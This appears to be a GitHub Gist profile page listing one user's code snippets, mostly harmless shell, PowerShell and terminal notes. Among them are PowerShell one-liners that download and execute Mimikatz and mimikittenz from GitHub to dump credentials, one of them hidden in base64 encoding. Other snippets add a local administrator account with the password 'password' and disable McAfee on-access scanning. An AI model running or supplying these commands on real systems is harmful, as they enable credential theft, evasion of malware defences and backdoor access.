jermdw

System:    Host: honeybadger-XPS-13-9360 Kernel: 4.8.0-34-generic x86_64 (64 bit gcc: 6.2.0)
           Desktop: Cinnamon 3.2.8 (Gtk 3.20.9) dm: lightdm Distro: Ubuntu 16.10
Machine:   System: Dell (portable) product: XPS 13 9360 Chassis: type: 9
           Mobo: Dell model: 0839Y6 v: A00 UEFI [Legacy]: Dell v: 1.0.7 date: 09/13/2016
Battery    BAT0: charge: 78.9 Wh 104.2% condition: 75.7/78.9 Wh (96%) volts: 8.5/7.6
           model: SMP DELL TP1GT61 serial: 2776 status: Full
CPU:       Dual core Intel Core i7-7500U (-HT-MCP-) cache: 4096 KB
           flags: (lm nx sse sse2 sse3 sse4_1 sse4_2 ssse3 vmx) bmips: 11600
           clock speeds: min/max: 400/3500 MHz 1: 1983 MHz 2: 1216 MHz 3: 2579 MHz 4: 823 MHz
Graphics:  Card: Intel Device 5916 bus-ID: 00:02.0 chip-ID: 8086:5916

jermdw

// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console

jermdw

$Username = "su"
$Password = "password"

$group = "Administrators"

$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$existing = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }

if ($existing -eq $null) {

jermdw

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master

jermdw

<?php

$compressed = array(
	".0"	=>	"Hacha Split Archive File",
	".000"	=>	"DoubleSpace Compressed File",
	".7z"	=>	"7-Zip Compressed File",
	".7z.001"	=>	"7-Zip Split Archive Part 1 File",
	".7z.002"	=>	"7-Zip Split Archive Part 2 File",
	".a00"	=>	"ALZip Second Split Archive File",
	".a01"	=>	"ALZip Third Split Archive File",

jermdw

KEYBINDINGS
       byobu keybindings can be user defined in /usr/share/byobu/keybindings/ (or within .screenrc if byobu-export was used). The  common  key  bindings
       are:

       F2 - Create a new window

       F3 - Move to previous window

       F4 - Move to next window

jermdw

method 1

sudo /usr/local/McAfee/AntiMalware/VSControl stopoas

alternatively

sudo defaults write /Library/Preferences/com.mcafee.ssm.antimalware.plist OAS_Enable -bool False
sudo /usr/local/McAfee/AntiMalware/VSControl stop
sudo /usr/local/McAfee/AntiMalware/VSControl reload

jermdw

Tabs and Windows

Function	Shortcut
Fullscreen	⌘+ Enter
Previous Tab	⌘+ Left Arrow
Next Tab	⌘+ Right Arrow
Go to Tab	⌘ + Number
Go to Window	⌘ + Option + Number
Go to Split Pane by Direction	⌘ + Option + Arrow

jermdw

#!/bin/bash

# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update

# remove previously installed Docker
sudo apt-get remove docker docker-engine docker.io* lxc-docker*

# install dependencies 4 cert

jermdw

#Grabs the path you wish to search 
$getPath = Read-Host "What is the path you would like to search (example: c:\temp)"

#recursively searches through a path and grabs the data streams 
$getItem = Get-ChildItem -Path $getPath -Recurse | Get-Item -Stream * 


foreach($item in $getItem) {